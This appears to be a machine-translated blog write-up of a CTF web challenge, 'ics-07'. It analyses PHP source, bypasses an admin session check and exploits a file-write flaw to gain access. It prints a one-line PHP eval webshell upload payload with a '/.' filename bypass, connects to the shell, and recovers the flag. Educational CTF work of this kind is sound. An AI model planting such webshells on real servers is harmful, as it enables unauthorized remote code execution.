当前位置:网站首页>[attack and defense world web] difficulty five-star 15 point advanced question: ics-07
[attack and defense world web] difficulty five-star 15 point advanced question: ics-07
2022-07-24 10:59:00 【Black zone (rise)】
Two 、ics-07
How to solve the problem :
1、php Source code analysis , File upload vulnerability , In a word, Trojans
The process :
robots.txt Nothing there?
Make yourself at home , Only this cloud platform management center can enter
Later, the transmission of parameters was also carried out
Determine whether there is character injection
Have added a single / One double quotation mark
There is no wrong report
Determine whether there is digital injection
and 1=1
and 1=2
It is found that the equal sign is encoded
One more view-source Button
After clicking, the source code comes out
Analyze the source code :
Code 1:
isset() function : Checks whether the variable is set and not NULL
show_source() function : Syntax highlighting of files
header() function : Send the original... To the client HTTP Headlines
page The pass parameter cannot be empty ( If it's empty die)
page The transmission parameter cannot have index.php, Can only contain flag.php
Code 2:
preg_match function : Perform a regular expression match
chdir() function : Change the current directory , New catalogue needs to be specified
fopen() function : Open a file or URL( With permissions )
fwrite () function : Write string to file , Successfully returns the number of characters written , Otherwise return to FALSE
fclose() function : Close file
The process is :
1、 First introduced
2、 Regular filtering
3、 Change the directory
4、 Open file
5、 write file
6、 Close file
( This is a file upload vulnerability , Upload a word of Trojan , Or picture horse )
And the upload path is /uploaded/backup/
Code 3:
floatval(): Returns the floating-point value of a variable
substr(): Intercept , Here is interception id I finally thought Must be 9
mysql_real_escape_string() : escape SQL Special characters in strings used in statements
mysql_query() : To perform a MySQL Inquire about
mysql_fetch_object() : From result set ( Recordset ) Get a row as an object
If the input is correct , Returns the id and user( That is admin)
id: Floating point value is not 1, And the last one is 9, And it's a string ( This is especially much )
According to the previous analysis :page=flag.php
get
id=1
name=admin
Ideas :
The most important thing here is to achieve $_SESSION['admin'] = True
Then you can upload files ( Upload a word of Trojan )
Then ant sword ( Ice scorpion , kitchen knife ) Connect
find flag
Find login and get id,name 了 , But it didn't jump to upload page
( It may not show )
Try POST Upload a word of Trojan
Pass code 2 Parameters passed in , Know is to use con and file
payload:
con=<?php eval($_POST['1']);?>&file=shell.php/.
Connect again ( Code 2 Know how to upload to /uploaded/backup/ Next )
61.147.171.105:57480/uploaded/backup/shell.php/
It's coming in
stay html Find flag.php
cyberpeace{d2f720b48b37fca33797773be4a3c755}
边栏推荐
- [FPGA]: IP core --divider (divider)
- Hash, bitmap and bloom filter for mass data De duplication
- Overview of basic knowledge of binary tree
- Scope usage in POM file dependency
- 【白帽子讲Web安全】第二章 浏览器安全
- 【攻防世界WEB】难度五星15分进阶题:ics-07
- Binlog and iptables prevent nmap scanning, xtrabackup full + incremental backup, and the relationship between redlog and binlog
- 蓝牙模块的5大应用场景
- [interview: Basics 03: selection sort]
- I admire a Google boss very much, and he left..
猜你喜欢

Redismission watchdog implementation mechanism can be understood at a glance

Filter the data with signal processing toolbox software

1184. 公交站间的距离 : 简单模拟题

MySQL - full text index

浅析拉格朗日乘数法及其对偶问题

Zero basic learning canoe panel (10) -- checkbox

零基础学习CANoe Panel(10)—— 复选框(CheckBox)
![[FPGA]: IP core ibert](/img/f9/ef4c8d44be2e27b6d85010ca8cdefa.png)
[FPGA]: IP core ibert

NLP introduction + practice: Chapter 2: introduction to pytorch

Five best WordPress advertising plug-ins
随机推荐
[dish of learning notes dog learning C] advanced pointer
零基础学习CANoe Panel(9)—— 组合框(ComboBox)
cookie sessionStorage localStorage 区别
Web salted fish self rescue strategy -- typescript classes are not as difficult as you think
Partition data 2
web咸鱼自救攻略--typescript的类没有你想象中的那么难
Zero basis learning canoe panel (5) -- change the value of the variable, and the control image also changes. What's going on?
I admire a Google boss very much, and he left..
[live registration] analysis of location cache module and detailed explanation of OCP monitoring and alarm
变频器的四大组成部分和工作原理
RS485 communication OSI model network layer
Distributed transaction processing scheme big PK!
零基础学习CANoe Panel(3)—— 静态控件(Static Text , Group Box ,Picture Box)
Zero basic learning canoe panel (9) -- combobox
563 pages (300000 words) overall design scheme of smart Chemical Park (phase I)
Qt创建应用程序托盘及相关功能
Cross platform audio playback Library
Machine learning quiz (10) using QT and tensorflow to create cnn/fnn test environment
Four components and working principle of frequency converter
BBR 与 queuing















